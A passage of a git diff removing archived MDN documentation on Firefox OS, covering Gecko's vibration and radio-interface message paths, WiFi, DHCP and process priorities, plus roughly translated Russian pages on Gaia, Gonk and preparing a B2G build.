-  Hal()->SendVibrate(p, newID.AsArray(), GetTabChildFrom(newID.GetWindow()));
-}
- -

This sends a message defined by the PHal interface, described by IPDL in hal/sandbox/PHal.ipdl. This method is described more or less as follows:

- -
Vibrate(uint32_t[] pattern);
- -

The receiver of this message is the HalParent::RecvVibrate() method in hal/sandbox/SandboxHal.cpp, which looks like this:

- -
virtual bool RecvVibrate(const InfallibleTArray<unsigned int>& pattern,
-            const InfallibleTArray<uint64_t> &id,
-            PBrowserParent *browserParent) MOZ_OVERRIDE {
-
-  hal::Vibrate(pattern, newID);
-  return true;
-}
- -

This omits some details that aren't relevant to this discussion; however, it shows how the message progresses from a content process through Gecko to Gonk, then to the Gonk HAL implementation of Vibrate(), and eventually to the Vibration driver.

- -

DOM APIs

- -

DOM interfaces are, in essence, how web content communicates with Gecko. There's more involved than that, and if you're interested in added details, you can read about the DOM. DOM interfaces are defined using IDL, which comprises both a foreign function interface (FFI) and object model (OM) between JavaScript and C++.

- -

The vibration API is exposed to web content through an IDL interface, which is provided in nsIDOMNavigator.idl:

- -
[implicit_jscontext] void mozVibrate(in jsval aPattern);
- -

The jsval argument indicates that mozVibrate() (which is our vendor-prefixed implementation of this non-finalized vibration specification) accepts as input any JavaScript value. The IDL compiler, xpidl, generates a C++ interface that's then implemented by the Navigator class in Navigator.cpp.

- -
NS_IMETHODIMP Navigator::MozVibrate(const jsval& aPattern, JSContext* cx) {
-  // ...
-  hal::Vibrate(pattern);
-  return NS_OK;
-}
- -

There's a lot more code in this method than what you see here, but it's not important for the purposes of this discussion. The point is that the call to hal::Vibrate() transfers control from the DOM to the Gecko HAL. From there, we enter the HAL implementation discussed in the previous section and work our way down toward the driver. On top of that, the DOM implementation doesn't care at all what platform it's running on (Gonk, Windows, OS X, or anything else). It also doesn't care whether the code is running in a content process or in the Gecko server process. Those details are all left to lower levels of the system to deal with.

- -

The vibration API is a very simple API, which makes it a good example. The SMS API is an example of a more complex API which uses its own "remoting" layer connecting content processes to the server.

- -

Radio Interface Layer (RIL)

- -

The RIL was mentioned in the section The userspace process architecture. This section will examine how the various pieces of this layer interact in a bit more detail.

- -

The main components involved in the RIL are:

- -
-
rild
-
The daemon that talks to the proprietary modem firmware.
-
rilproxy
-
The daemon that proxies messages between rild and Gecko (which is implemented in the b2g process). This overcomes the permission problem that arises when trying to talk to rild directly, since rild can only be communicated with from within the radio group.
-
b2g
-
This process, also known as the chrome process, implements Gecko. The portions of it that relate to the Radio Interface Layer are dom/system/gonk/ril_worker.js, which implements a worker thread that talks to rild through rilproxy and implements the radio state machine; and the nsIRadioInterfaceLayer interface, which is the main thread's XPCOM service that acts primarily as a message exchange between the ril_worker.js thread and various other Gecko components, including the Gecko content process.
-
Gecko's content process
-
Within Gecko's content process, the nsIRILContentHelper interface provides an XPCOM service that lets code implementing parts of the DOM, such as the Telephony and SMS APIs talk to the radio interface, which is in the chrome process.
-
- -

Example: Communicating from rild to the DOM

- -

Let's take a look at an example of how the lower level parts of the system communicate with DOM code. When the modem receives an incoming call, it notifies rild using a proprietary mechanism. rild then prepares a message for its client according to the "open" protocol, which is described in ril.h. In the case of an incoming call, a RIL_UNSOL_RESPONSE_CALL_STATE_CHANGED message is generated and sent by rild to rilproxy.

- -

rilproxy, implemented in rilproxy.c, receives this message in its main loop, which polls its connection to rild using code like this:

- -
ret = read(rilproxy_rw, data, 1024);
-
-if(ret > 0) {
-  writeToSocket(rild_rw, data, ret);
-}
- -

Once the message is received from rild, it's then forwarded along to Gecko on the socket that connects rilproxy to Gecko. Gecko receives the forwarded message on its IPC thread:

- -
int ret = read(fd, mIncoming->Data, 1024);
-// ... handle errors ...
-mIncoming->mSize = ret;
-sConsumer->MessageReceived(mIncoming.forget());
-
- -

The consumer of these messages is SystemWorkerManager, which repackages the messages and dispatches them to the ril_worker.js thread that implements the RIL state machine; this is done in the RILReceiver::MessageReceived() method:

- -
virtual void MessageReceived(RilRawData *aMessage) {
-  nsRefPtr<DispatchRILEvent> dre(new DispatchRILEvent(aMessage));
-  mDispatcher->PostTask(dre);
-}
- -

The task posted to that thread in turn calls the onRILMessage() function, which is implemented in JavaScript. This is done using the JavaScript API function JS_CallFunctionName():

- -
return JS_CallFunctionName(aCx, obj, "onRILMessage", NS_ARRAY_LENGTH(argv),
-                           argv, argv);
- -

onRILMessage() is implemented in dom/system/gonk/ril_worker.js, which processes the message bytes and chops them into parcels. Each complete parcel is then dispatched to individual handler methods as appropriate:

- -
handleParcel: function handleParcel(request_type, length) {
-  let method = this[request_type];
-  if (typeof method == "function") {
-    if (DEBUG) debug("Handling parcel as " + method.name);
-    method.call(this, length);
-  }
-}
-
- -

This code works by getting the request type from the object, making sure it's defined as a function in the JavaScript code, then calling the method. Since ril_worker.js implements each request type in a method given the same name as the request type, this is very simple.

- -

In our example, RIL_UNSOL_RESPONSE_CALL_STATE_CHANGED, the following handler is called:

- -
RIL[UNSOLICITED_RESPONSE_CALL_STATE_CHANGED] = function UNSOLICITED_RESPONSE_CALL_STATE_CHANGED() {
-  this.getCurrentCalls();
-};
- -

As you see in the code above, when notification is received that the call state has changed, the state machine simply fetches the current call state by calling the getCurrentCall() method:

- -
getCurrentCalls: function getCurrentCalls() {
-  Buf.simpleRequest(REQUEST_GET_CURRENT_CALLS);
-}
- -

This sends a request back to rild to request the state of all currently active calls. The request flows back along a similar path the RIL_UNSOL_RESPONSE_CALL_STATE_CHANGED message followed, but in the opposite direction (that is, from ril_worker.js to SystemWorkerManager to Ril.cpp, then rilproxy and finally to the rild socket). rild then responds in kind, back along the same path, eventually arriving in ril_worker.js's handler for the REQUEST_GET_CURRENT_CALLS message. And thus bidirectional communication occurs.

- -

The call state is then processed and compared to the previous state; if there's a change of state, ril_worker.js notifies the nsIRadioInterfaceLayer service on the main thread:

- -
_handleChangedCallState: function _handleChangedCallState(changedCall) {
-  let message = {type: "callStateChange",
-                 call: changedCall};
-  this.sendDOMMessage(message);
-}
- -

nsIRadioInterfaceLayer is implemented in dom/system/gonk/RadioInterfaceLayer.js; the message is received by its onmessage() method:

- -
 onmessage: function onmessage(event) {
-   let message = event.data;
-   debug("Received message from worker: " + JSON.stringify(message));
-   switch (message.type) {
-     case "callStateChange":
-       // This one will handle its own notifications.
-       this.handleCallStateChange(message.call);
-       break;
-   ...
-
- -

All this really does is dispatch the message to the content process using the Parent Process Message Manager (PPMM):

- -
handleCallStateChange: function handleCallStateChange(call) {
-  [some internal state updating]
-  ppmm.sendAsyncMessage("RIL:CallStateChanged", call);
-}
- -

In the content process, the message is received by receiveMessage() method in the nsIRILContentHelper service, from the Child Process Message Manager (CPMM):

- -
receiveMessage: function receiveMessage(msg) {
-  let request;
-  debug("Received message '" + msg.name + "': " + JSON.stringify(msg.json));
-  switch (msg.name) {
-    case "RIL:CallStateChanged":
-      this._deliverTelephonyCallback("callStateChanged",
-                                     [msg.json.callIndex, msg.json.state,
-                                     msg.json.number, msg.json.isActive]);
-      break;
- -

This, in turn, calls the nsIRILTelephonyCallback.callStateChanged() methods on every registered telephony callback object. Every web application that accesses the window.navigator.mozTelephony API has registered one such callback object that dispatches events to the JavaScript code in the web application, either as a state change of an existing call object or a new incoming call event.

- -
NS_IMETHODIMP Telephony::CallStateChanged(PRUint32 aCallIndex, PRUint16 aCallState,
-                                          const nsAString& aNumber, bool aIsActive) {
-  [...]
-
-  if (modifiedCall) {
-    // Change state.
-    modifiedCall->ChangeState(aCallState);
-
-    // See if this should replace our current active call.
-    if (aIsActive) {
-      mActiveCall = modifiedCall;
-    }
-
-    return NS_OK;
-  }
-
-  nsRefPtr<TelephonyCall> call =
-          TelephonyCall::Create(this, aNumber, aCallState, aCallIndex);
-  nsRefPtr<CallEvent> event = CallEvent::Create(call);
-  nsresult rv = event->Dispatch(ToIDOMEventTarget(), NS_LITERAL_STRING("incoming"));
-  NS_ENSURE_SUCCESS(rv, rv);
-  return NS_OK;
-}
- -

Applications can receive these events and update their user interface and so forth:

- -
handleEvent: function fm_handleEvent(evt) {
-  switch (evt.call.state) {
-    case 'connected':
-      this.connected();
-      break;
-    case 'disconnected':
-      this.disconnected();
-      break;
-    default:
-      break;
-  }
-}
- -

Take a look at the implementation of handleEvent() in the Dialer application as an extended example.

- -

3G data

- -

There is a RIL message that initiates a "data call" to the cellular service; this enables data transfer mode in the modem. This data call ends up creating and activating a Point-to-Point Protocol (PPP) interface device in the Linux kernel that can be configured using the usual interfaces.

- -
-

Note: This section needs to be written.

-
- - - -

This section lists DOM APIs that are related to RIL communications:

- - - -

WiFi

- -

The WiFi backend for Firefox OS simply uses wpa_supplicant to do most of the work. That means that the backend's primary job is to simply manage the supplicant, and to do some auxiliary tasks such as loading the WiFi driver and enabling or disabling the network interface. In essence, this means that the backend is a state machine, with the states following the state of the supplicant.

- -
-

Note: Much of the interesting stuff that happens in WiFi depends deeply on possible state changes in the wpa_supplicant process.

-
- -

The implementation of the WiFi component is broken up into two files:

- -
-
dom/wifi/DOMWifiManager.js
-
Implements the API that's exposed to web content, as defined in nsIWifi.idl.
-
dom/wifi/WifiWorker.js
-
Implements the state machine and the code that drives the supplicant.
-
- -

These two files communicate with one another using the message manager. The backend listens for messages requesting certain actions, such as "associate", and responds with a message when the requested action has been completed.

- -

The DOM side listens for the response methods as well as several event messages that indicate state changes and information updates.

- -
-

Note: Any synchromous DOM APIs are implemented by caching data on that side of the pipe. Synchronous messages are avoided whenever possible.

-
- -

WifiWorker.js

- -

This file implements the main logic behind the WiFi interface. It runs in the chrome process (in multi-process builds) and is instantiated by the SystemWorkerManager. The file is generally broken into two sections: a giant anonymous function and WifiWorker (and its prototype). The anonymous function ends up being the WifiManager by providing a local API, including notifications for events such as connection to the supplicant and scan results being available. In general, it contains little logic and lets its sole consumer control its actions while it simply responds with the requested information and controls the details of the connection with the supplicant.

- -

The WifiWorker object sits between the WifiManager and the DOM. It reacts to events and forwards them to the DOM; in turn, it receives requests from the DOM and performs the appropriate actions on the supplicant. It also maintains state information about the supplicant and what it needs to do next.

- -

DOMWifiManager.js

- -

This implements the DOM API, transmitting messages back and forth between callers and the actual WiFi worker. There's very little logic involved.

- -
-

Note: In order to avoid synchronous messages to the chrome process, the WiFi Manager does need to cache the state based on the received event.

-
- -

There's a single synchronous message, which is sent at the time the DOM API is instantiated, in order to get the current state of the supplicant.

- -

DHCP

- -

DHCP and DNS are handled by dhcpcd, the standard Linux DHCP client. However, it's not able to react when the network connection is lost. Because of this, Firefox OS kills and restarts dhcpcd each time it connects to a given wireless network.

- -

dhcpcd is also responsible for setting the default route; we call into the network manager to tell the kernel about DNS servers.

- -

Network Manager

- -

The Network Manager configures network interfaces opened by the 3G data and WiFi components.

- -
-

Note: This needs to be written.

-
- -

Processes and threads

- -

Firefox OS uses POSIX threads to implement all application threads, this includes the main thread of each application as well as Web workers and helper threads. Nice values are used prioritize process and thread execution thus relying on the standard Linux kernel scheduler. Depending on the status of a process we assign it a different nice level. We've currently got 7 levels:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Process priority levels
PriorityNiceUsed for
MASTER0main b2g process
FOREGROUND_HIGH0critical applications holding the cpu or highpriority wakelock, this is currently reserved for the clock and communications applications
FOREGROUND1foreground applications
FOREGROUND_KEYBOARD1keyboard application
BACKGROUND_PERCEIVABLE7background applications playing audio or holding the holding the cpu or highpriority wakelock and having at least a system message handler registered
BACKGROUND_HOMESCREEN18homescreen application
BACKGROUND18all other applications running in the background
- -

Some levels share the same nice values, that's because those levels currently differ in the way they're treated by the out of memory killer. All priorities can be adjusted at build time via preferences; the relevant entries can be found in the b2g/app/b2g.js file.

- -
-

Note: for more information on the out-of-memory killer, and how Firefox OS manages low memory situations, read Out of memory management on Firefox OS.

-
- -

Within a process the main thread inherits the nice value of the process whilst web worker threads are given a nice value that is one point higher than the main thread thus running at lower priority. This is done in order to prevent CPU-intensive workers from excessively slowing down the main thread. Processes priorities are changed whenever a major event happens such as an application is sent into the background or foreground, a new application is started up or an existing application grabs a CPU wakelock. Whenever a process priority is adjusted all its threads' priorities will also be adjusted accordingly.

- -
-

Note: cgroups are not currently used for resource management as they've proven unreliable on certain devices and kernels.

-
- -

 

diff --git a/files/ru/archive/b2g_os/platform/gaia/index.html b/files/ru/archive/b2g_os/platform/gaia/index.html deleted file mode 100644 index e1297afcee..0000000000 --- a/files/ru/archive/b2g_os/platform/gaia/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Gaia -slug: Archive/B2G_OS/Platform/Gaia -tags: - - B2G - - Firefox OS - - Gaia - - Landing - - Mobile -translation_of: Archive/B2G_OS/Platform/Gaia ---- -

Gaia is the user interface level of B2G OS. Everything that appears on the screen after B2G OS starts up is drawn by Gaia, including the lock screen, home screen, dialer, and other applications. Gaia is written entirely in HTML, CSS, and JavaScript. Its only interface to the underlying operating system and hardware is through standard Web APIs, which are implemented by Gecko.

- -

Because of this design, not only can Gaia be run on B2G OS devices, but also on other operating systems and in other web browsers (Albeit with potentially degraded functionality depending on the capabilities of the browser).

- -

Third party applications onto the device installed alongside Gaia can be launched by Gaia.

- -
-
-

Documentation about Gaia

- -
-
Introduction to Gaia
-
Gaia is the user interface application for B2G OS devices; it's simply a Web application running atop the B2G OS software stack. This guide introduces Gaia at a high level.
-
Gaia apps
-
Information on each of the default apps available in the Gaia family, including tips on how to use them, and how to modify them.
-
Developing Gaia
-
A detailed guide to hacking and modifying the Gaia interface, and contributing to the Gaia project.
-
- -

View All...

-
- -
- - - - -

Resources

- - -
-
- -
-
-

Join the Gaia community

- -
-
Choose your preferred method for joining the discussion:
- - -
- -
- -
-
-
- - diff --git "a/files/ru/archive/b2g_os/platform/gaia/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265_\320\262_gaia/index.html" "b/files/ru/archive/b2g_os/platform/gaia/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265_\320\262_gaia/index.html" deleted file mode 100644 index 6ee433f2eb..0000000000 --- "a/files/ru/archive/b2g_os/platform/gaia/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265_\320\262_gaia/index.html" +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Введение в Gaia -slug: Archive/B2G_OS/Platform/Gaia/Введение_в_Gaia -tags: - - Apps - - B2G - - Settings -translation_of: Archive/B2G_OS/Platform/Gaia/Introduction_to_Gaia ---- -
-

Gaia являет собой пользовательский интерфейс для загрузки в Gecko (B2G); это набор веб-приложений чтобы работать локально на B2G устройстве, эмуляторе, пользовательской сборке, или Firefox сборке. Все, что нужно знать о добавленых приложениях или внесении в них изменений используя Gaia, с помощью веб-технологии, таких как JavaScript, HTML, и CSS.

-
- -

Блокировка Gaia

- -

Блокировка экрана показывает сетевой носитель, текущее время и дату, и ползунок, позволяющий пользователю, разблокировать телефон или перейти прямо к камере, чтобы сделать снимок. Если пользователь получил набор блокировки паролем, блокировка экрана будет также показать интерфейс ввода пароля.

- -

- -

Обратите внимание, что на некоторых устройствах код доступа по умолчанию может быт бявключен; в этих случаях PIN-код по умолчанию, чтобы разблокировать устройство "0000". Это, скорее всего, будет меняться с течением времени, как эта функция конкретизированы.

- -

Интерфейс Gaia по умолчанию

- -
-
 
-
- -
-
 
-
- -
-
-
-
-
По умолчанию интерфейс в Gaia, как показано здесь, очень похож на те, что вы видите на большинстве типичных смартфонов.
-
-
-
-
- -

- -

Это скриншот прошлой версии операционной системы, с заполнеными иконоками некоторыми тестовыми приложениями). В строке состояния вверху указан операторт сети (или "Нет SIM-карты" для устройства без каких-либо сети), уровень сигнала, Wi-Fi сигнал, уровень заряда батареи, и текущее время.

- -

В центральной области дисплея отображаются значки приложений; листайте в лево и право переходя на другте страницы. Вы можете узнать больше о недостатках собранных приложений поставляемых с Gaia посетив нашу Gaia apps страницу.

- -

В нижней части экрана находится блок вмещающий до семи ваших наиболее часто используемых приложений. Вы можете перетащить и поместить приложения в блок из средней зоны.

- -

Смотрите также

- - diff --git a/files/ru/archive/b2g_os/platform/gonk/index.html b/files/ru/archive/b2g_os/platform/gonk/index.html deleted file mode 100644 index 380eb5d8b5..0000000000 --- a/files/ru/archive/b2g_os/platform/gonk/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: Gonk -slug: Archive/B2G_OS/Platform/Gonk -translation_of: Archive/B2G_OS/Platform/Gonk ---- -
-

Gonk это низкоуровневый слой платформы Firefox OS, состоящий из ядра Linux на базе Android Open Source Project (AOSP) и cлоя абстрагирования от аппаратных средств (HAL). Цель данной статьи объяснить, что представляет собой Gonk. Подробнее об общей архитектуре Firefox OS и как Gonk в неё вписывается, написано в руководстве Firefox OS architecture.

-
- -

Описание Gonk

- -

Gonk это компонент уровня ядра в стэке Firefox OS который служит интерфейсом между Gecko и аппаратным обеспечением. Gonk контроллирует аппаратное обеспечение и предоставляет доступ к нему различным Web API встроенным в Gecko. Gonk можно рассматривать как "черный ящик" который, обрабатывая запросы, "за кулисами" делает всю комплексную, детализированную работу по управлению мобильным устройством на аппаратном уровне.

- -

Gonk это простой дистрибутив Linux включающий в себя компоненты из Android (такие как GPS и Камера) и расширенный Mozilla стандартными open source проектами такими как libusb, bluez и так далее, чтобы интегрировать со всеми слоями в архитектуре Firefox OS. Такая структура позволяет OEM производителям проще портировать программные компоненты из других реализаций Android (драйверы устройств, микропрограммы(firmware), service-level демоны и т.д.) для развертывания на смартфонах Firefox OS.

- -

Gonk это слой портируемый на устройства: адаптер между аппаратурой и Gecko. Gonk относительно простой дистрибутив Linux который можно рассматривать как разновидность Порта Gecko в паре со слоями портирования Gecko — тоесть Gonk это объект(цель) для портирования по отношению к Gecko, как например есть порты Gecko для OS X, Windows, and Android.

- -
-

Note: Поскольку различные устройства могут отличатся по набору микросхем и другим аппаратным особенностям, устройства могу содержать разные дистибутивы Gonk.

-
- -

Поскольку проект Firefox OS имеет полный контроль над Gonk, мы можем реализовывать интерфейсы для Gecko которые не могут быть реализованы в других операционных системах. Например под Gonk у Gecko есть прямой доступ к полному стеку телефонии и фрейм-буфферу дисплея.

- -

Архитектура Gonk

- -

Каждая модель мобильного телефона имеет специальную комбинацию компонентов Gonk на основе системных библиотек, драйверов и микропрограмм необходимых для работы устройства. Эти компоненты выпускаются OEM/ODM-производителями и производителями наборов микосхем. На следующей схеме показан пример реализации Gonk:

- -

- -

Этот пример показывает следующие основные компоненты (которые представляют только часть из возможных компонентов в каждой конкретной реализации Gonk):

- - - -

Gonk также запускает, обслуживает и останавливает B2B процесс, являющийся слоем Gecko в Firefox OS. B2G процесс выступает в качестве клиента для service-level демонов в Gonk, которые взаимодействуют непосредственно с аппаратным обеспечением и предоставляют Gecko аппаратную функциональность телефона. Gecko общается с этими демонами через межпроцессное взаимодействие (IPC). Эти компоненты совместно обменивают команды и протоколы для запроса и предоставления сервисов.

- -
-

Note: Чтобы узнать больше о архитектуре Gonk, смотри Руководство по архитектуре Firefox OS.

-
- -

Портирование Gonk

- -

Поскольку Firefox OS базируется на ядре Android, существующие драверы, прошивка, service демоны, и другие компоненты могут быть портированы для работы с Firefox OS, Как правило с минимальными усилиями. Если необходим особый компонент (например нестандартный RIL или новый демон), или требуется внести изменения в эталонный дизайн ODM-производителя, возможно потребуется произвести дополнительную интеграцию и тестирование.

- -

В b2g, клиенты взаимодействуют с service-level демонами через межпроцессное взаимодействие (IPC). Клиенты инициируют соединение через сокет к service-level демону, отправляет запрос (используя протокол запросов сервера) через это соединение, принимает ответ и закрывает соединение. OEM-производители ответственны за разработку и реализацию этого межпроцессного взаимодействия между клиентами и серверами.

- -
-

Note: Чтобы узнать больше о том как производится портирование, смотри Портирование Firefox OS.

-
- -

Как Mozilla работает над портами Gonk с OEM и производителями телефонов

- -

Каждая реализация Gonk является результатом сотрудничества между Mozilla, OEM-производителями и сопутсвующими производителями (ODM-производителями, производителями чипсетов).

- -

Mozilla предоставляет репозитарии с исходным кодом и осуществляет поддержку файлов Gonk в дистрибутивах Firefox OS. Репозитарии с исходным кодом включают базовое ядро Linux (с незначительными изменениями) и хуки (hooks) в Gecko.

- -

OEM-производители в свою очередь ответственны за сборку, компиляцию, тестирование, сертификацию и распространение системного образа Firefox OS для конкретной модели устройства. Для Gonk в рамках системного образа, OEM-производители ответственны за большую часть усилий по обеспечению интеграции между вызовами Web API и аппаратным обеспечением телефона. Тип и объем необходимых усилий сильно зависит от особенностей набора микросхем и других аппаратных компонентов используемых в телефоне.

- -

Компоненты устройства

- -

OEM-производители сотрудничают с производителями наборов микросхем и ODM-производителями чтобы обеспечить все, специфические для конкретной аппаратуры, компоненты, необходимые для функционирования мобильного устройства. Например производитель Wi-Fi обеспечивает набор микросхем и сопутсвующее ПО. Компоненты могут включать:

- - - -

Интеграция между Gonk и Gecko

- -

OEM-производители должны гарантировать, что аппаратные возможности мобильного устройства корректно и полностью совместимы с Web API реализованный в Gecko. Для этого необходимо осуществить:

- - - -

Исходный код Gonk

- -

Главный B2G репозитарий на Github содержит официально поддерживаемые порты Gonk для различных устройств, так что можно считать его репозитарием Gonk’а. Список поддерживаемых устройств находится в B2G/config.sh.

- -

B2G процесс (наряду с прочим), определяемый в Gonk, можно найти на mozilla-b2g/gonk-misc. Изменения исходного кода B2G производятся здесь.

- -
-

Note: В исходном коде Gecko есть директория b2g/, которая содержит модификацию Gecko для Gonk: она включает ядро Linux, HAL, и специфические OEM библиотеки.

-
- -

Большая часть ежедневной работы проделанной над Gonk заключается в портировании системы на различные платы и будте уверены, Gecko может хорошо работать на различных устройствах.

- -
-
- -

 

diff --git a/files/ru/archive/b2g_os/platform/index.html b/files/ru/archive/b2g_os/platform/index.html deleted file mode 100644 index d8739c24b5..0000000000 --- a/files/ru/archive/b2g_os/platform/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Платформа Firefox OS -slug: Archive/B2G_OS/Platform -tags: - - B2G - - Firefox OS - - Landing - - NeedsTranslation - - TopicStub -translation_of: Archive/B2G_OS/Platform ---- -
-

Платформа Firefox OS состоит из многих компонентов. В тоже время, вы не должны понимать его архитектуру, чтобы создавать приложения работающие на Firefox OS, если вы работаете над развитие или портированием платформы - или просто любопытно - следующая документация может быть заинтересует Вас.

-
- - - - - - - - -
-

Документация к платформе Firefox OS

- -
-
Firefox OS architecture overview
-
Обзор внутренней структуризации Firefox OS ; это в первую очередь интересно разработчикам платформы и пользователям занимающимся портированием.
-
Firefox OS apps architecture
-
Обзор модели приложения на Firefox OS.
-
Gaia
-
Документация о Gaia, пользовательский интерфейс приложений для Firefox OS устройств; это Web приложение работает поверх стока програмного обеспечения Firefox OS.
-
Gonk
-
Документация Gonk, операционная система слоя под  Gaia.  Она состоит из ядра Linux и аппаратной абстракции слоя, с которыми общается Gecko.
-
Gecko
-
Gecko это слой FirefoxOS, обеспечивающий те же открытые веб стандарты, реализуемые использованием на Firefox и Thunderbird, а также многих других приложений.
-
 Security
-
Документация о безопасности в Firefox OS; это включает в себя темы о безопасности устройств с любой точки зрения: для разработчиков приложений, интеграторов устройств, и так далее.
-
Out of memory management on Firefox OS
-
Эта статья объясняет, как низкий уровень памяти регулируется на Firefox OS, используя отчистку памяти и уведомление о нехватке памяти.
-
Feature support chart
-
Схемма, какие особенности доступны в каких типах построения Firefox OS.
-
Firefox OS settings list
-
Список  названий общей настройки, которые могут быть использованы с Settings API.
-
- -

View All...

-
-

Получение справки от сообщества

- -

Если вы работаете с Firefox OS, или разрабатываете приложения и хотели бы работать на Firefox OS устройстве, есть общественные ресурсы, чтобы  помочь вам!

- -
    -
  • Обратитесь Boot to Gecko форум проекта: {{ DiscussionList("dev-b2g", "mozilla.dev.b2g") }}
  • -
- -
    -
  • Задайте ваш вопрос на канале Mozilla's Boot to Gecko IRC: #b2g
  • -
- -

Don't forget about the netiquette...

- - - - - - -

Ресурсы

- - -
- -

 

diff --git a/files/ru/archive/b2g_os/preparing_for_your_first_b2g_build/index.html b/files/ru/archive/b2g_os/preparing_for_your_first_b2g_build/index.html deleted file mode 100644 index 7b3a3b7d48..0000000000 --- a/files/ru/archive/b2g_os/preparing_for_your_first_b2g_build/index.html +++ /dev/null @@ -1,247 +0,0 @@ ---- -title: Подготовка к первой B2G сборке -slug: Archive/B2G_OS/Preparing_for_your_first_B2G_build -tags: - - B2G - - Firefox OS - - Создание Документа -translation_of: Archive/B2G_OS/Preparing_for_your_first_B2G_build ---- -
-

Прежде чем вы сможете построить B2G, необходимо клонировать репозиторий и настроить дерево сборки. Эта статья объясняет, как это сделать. 

-
- -

В зависимости от вашего интернет-соединения, шаг настройки занимает несколько часов, чтобы скачать файлы, необходимые для построения FirefoxOS (со скоростью загрузки 150 Кбит/сек, загрузка гигабайтов хранилища Android может занять десятки часов). Ожидание не так весело, как дело, так что во время процесса вы можете читать следующую страницу и стартовал конфигурационный скрипт, рассмотрите возможность использования времени в настройке и попробуйте Firefox OS simulator, начните ознакомление с Documentation for app developers в том числе проектирование и строительство приложений, или ознакомьтесь с информацией о предстоящих шагах.

- -
-

Вы можете заниматься посторонними делами, например, пусть с Вами пойдёт друг, чтобы выпить кофе, в то время как работает конфигурация B2G и шаги сборки. Они могут занять немного времени (конфигурация в одиночку занимает около 45 минут, используя высокоскоростное подключение к Интернету, собирается около 30 мин на Core i7 с 8 Гб оперативной памяти).

-
- -
-

Если вы используете OS X, чтобы построить Firefox OS для Flame см Building Firefox OS for flame on OSX MDN-страницы.

-
- -

Клонирование B2G хранилища

- -

Первый шаг, прежде чем вы сможете начать свой первый билд, это клонирование репозитория B2G. Вы не получаете весь репозиторий! Вместо этого, Вы получите систему сборки B2G и утилиты настройки. Большая часть реального кода B2G находится в главном Mozilla Mercurial хранилище.

- -

Чтобы клонировать репозиторий, используйте Git:

- -
git clone git://github.com/mozilla-b2g/B2G.git
- -

После клонирования (которое должено занять минуту с быстрым подключением), перейдите в каталог B2G:

- -
cd B2G
-
- -

Настройка B2G для вашего устройства

- -
Важно: Помните, что только устройства под управлением Android 4.0.4 (Ice Cream Sandwich), 4,3 (Jelly Bean) и 4,4 (KitKat) и платформы на их базе поддерживаются (текущей ОС устройства Firefox). Пожалуйста, убедитесь, что ваш телефон на самом деле работает на одной из этих поддерживаемых версий, в противном случае этот шаг, скорее всего, приведет к сбою, так как некоторые вредители вытащили из не-Nexus устройства. Кроме того, если у вас есть, чтобы прошить устройство с соответствующей версией выпуска, имейте в виду, что некоторые узлы USB не работаем хорошо с мигающими инструментов, так что вы, возможно, придется подключить устройство к встроенным USB-портом.
- -
Важно: если вы делаете сборку на Ubuntu 12.10 или Fedora, вам нужно будет указать GCC 4.6 как компилятор хоста по умолчанию после извлечения источники B2G, для процесса, чтобы работать (эти дистрибутивы используют GCC 4.7 или более поздней версии по умолчанию). Читать Changing the default host compiler  чтобы узнать, как это сделать.
- -
Примечание: пожалуйста, прочитайте все нижеизложенные инструкции перед запуском любой из команд процесса сборки, чтобы убедиться, что вы делаете правильные для вас действия!
- -

После того как вы получите ядро системы B2G сборки, необходимо настроить его для устройства, на котором вы планируете установить его. Чтобы получить список поддерживаемых устройств, вы можете использовать утилиту config.sh - выполните следующую команду из каталога, в B2G:

- -
./config.sh
-
- -

Это покажет список поддерживаемых устройств, например, так:

- -
Usage: ./config.sh [-cdflnq] (device name)
-Flags are passed through to |./repo sync|.
-
-Valid devices to configure are:
-- galaxy-s2
-- galaxy-nexus
-- nexus-4
-- nexus-4-kk
-- nexus-5
-- nexus-5-l
-- nexus-s
-- nexus-s-4g
-- flo (Nexus 7 2013)
-- otoro
-- unagi
-- inari
-- keon
-- peak
-- hamachi
-- helix
-- tarako
-- dolphin
-- dolphin-512
-- pandaboard
-- vixen
-- flatfish
-- flame
-- flame-kk
-- flame-l
-- rpi (Revision B)
-- emulator
-- emulator-jb
-- emulator-kk
-- emulator-l
-- emulator-x86
-- emulator-x86-jb
-- emulator-x86-kk
-- emulator-x86-l
-> Sony Xperia devices
-- aries (Z3 Compact KK)
-- aries-l (Z3 Compact L)
-- leo-kk (Z3 KK)
-- leo-l (Z3 L)
-- scorpion-l (Z3 Tablet Compact L)
-- sirius-l (Z2 L)
-- tianchi-l (T2U L)
-- flamingo-l (E3 L)
- -

Если ваше устройство отсутствует в списке, вы должны остановиться прямо сейчас, либо помочь проекту B2G портированием OS на Ваше устройство. Также можно подождать, пока кто-то это не сделает. Мы предпочли бы, что бы вы нам помогли!

- -
Примечание: Вы можете найти имя устройства для вашего телефона на странице Firefox OS Phones.
- -
Примечание: Настройка и создание B2G для Keon на Mac не работает. Вы должны будете использовать Linux при создании прошивки для этого устройства.
- -
Примечание: Если по какой-либо причине вы хотите построить против конкретной версии Gecko см Строительство против обычая Gecko, прежде чем продолжить. Если вы хотите построить ветку, кроме по умолчанию для вашего устройства (например, для создания конкретной версии B2G), см создание филиала. Примечание: филиал по умолчанию зависит от устройства и не обязательно ствол.
- -

Это было бы хорошее время для перерыва на кофе, так как в данный момент, вы будете делать свой первый  код, необходимый для создания загрузки Gecko. Запускаем конфигурацию устройства, как показано ниже, это может занять много времени; Вы можете остановить его с помощью Ctrl-C и перезапустить его на более позднее время. Если вы думаете, какая-то часть процесса может быть прекращено без комплектующих, запустите './repo синхронизацию ", чтобы исправить все возможные проблемы.

- -

Настройка B2G построить для мобильного устройства

- -

На данный момент, подключите устройство, если оно еще не подключено; В процессе конфигурирования необходимо получить к нему доступ.

- -

Если ваше устройство было найдено в результатах, показанных выше, вы можете начать процесс настройки с запуска config.sh, на этот раз с указанием имени вашего устройства. Например, чтобы построить для Samsung Google Nexus S, вы должны ввести:

- -
./config.sh nexus-s
-
- -
-

Примечание: Если вы получаете сообщение об ошибке, как:

- -
UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 9: ordinal not in range(128)
- -

